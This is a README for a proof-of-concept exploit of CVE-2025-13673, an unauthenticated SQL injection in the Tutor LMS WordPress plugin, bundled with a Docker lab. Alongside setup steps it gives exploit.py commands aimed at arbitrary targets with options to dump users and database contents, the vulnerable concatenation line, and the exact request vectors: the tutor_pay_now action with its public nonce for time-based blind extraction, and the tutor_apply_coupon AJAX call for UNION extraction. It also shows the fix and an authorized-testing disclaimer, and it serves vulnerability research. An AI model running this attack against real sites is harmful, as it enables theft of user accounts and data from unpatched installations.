
CVE-2025-13673: Tutor LMS SQL Injection PoC + Docker-Labor
Nicht authentifizierte SQL-Injection im WordPress-Plugin Tutor LMS (<= 3.9.6) über den Parameter coupon_code.
# 1. Clone and start the lab
git clone https://github.com/dinosn/CVE-2025-13673.git
cd CVE-2025-13673
./setup.sh # Deploys WordPress + Tutor LMS 3.9.3
# 2. Run the exploit
pip install requests # only dependency
# Unauthenticated (time-based blind — no credentials needed)
python3 exploit.py http://localhost:8080
# Authenticated (UNION-based — instant extraction)
python3 exploit.py http://localhost:8080 -u testuser -p test123 --all
| Feld | Wert |
|---|---|
| CVE | CVE-2025-13673 |
| Betroffen | Tutor LMS <= 3.9.6 |
| Behebung | 3.9.7 |
| Typ | SQL Injection (CWE-89) |
| CVSS | 7.5 / 9.3 |
| Authentifizierung | Keine (blind) / Abonnent (UNION) |
QueryHelper::prepare_where_clause() erstellt SQL-WHERE-Klauseln durch rohe Zeichenkettenverkettung:
// helpers/QueryHelper.php — VULNERABLE
$value = is_numeric( $value ) ? $value : "'" . $value . "'";
Keine Maskierung. Ein einzelnes Anführungszeichen bricht aus dem Literal aus und ermöglicht beliebiges SQL.
Nicht authentifiziert: POST / mit tutor_action=tutor_pay_now. Der WordPress-init-Hook leitet dies für alle Besucher weiter. Der _tutor_nonce ist auf jeder Frontend-Seite eingebettet und für anonyme Sitzungen gültig. Datenextraktion über SLEEP().
Abonnent+: POST /wp-admin/admin-ajax.php mit action=tutor_apply_coupon. Gibt JSON mit eingefügten UNION-SELECT-Daten zurück – zwei Spalten werden in der Antwort reflektiert für sofortige Extraktion.
- $val = is_numeric( $val ) ? $val : "'" . $val . "'";
+ // Value now passed through $wpdb->prepare('%s', $value)
usage: exploit.py [-h] [-u USERNAME] [-p PASSWORD] [--course-id COURSE_ID]
[--dump-users] [--db-info] [--options] [--all]
[--delay DELAY]
url
Modes:
Default (no -u/-p): Unauthenticated time-based blind SQLi
With -u/-p: Authenticated UNION-based (fast)
Examples:
exploit.py http://target # unauth blind
exploit.py http://target -u student -p pass --all # auth UNION
# Test version 3.9.5 (has esc_sql partial mitigation)
./setup.sh 3.9.5
# Test version 3.9.7 (should be fixed)
./setup.sh 3.9.7
| Datei | Beschreibung |
|---|---|
exploit.py | Dual-Mode-PoC: nicht authentifiziert blind + authentifiziert UNION |
setup.sh | Ein-Befehl-Laboreinrichtung |
docker-compose.yml | WordPress 6.7 + MySQL 8.0 |
Nur für autorisierte Sicherheitstests und zu Bildungszwecken.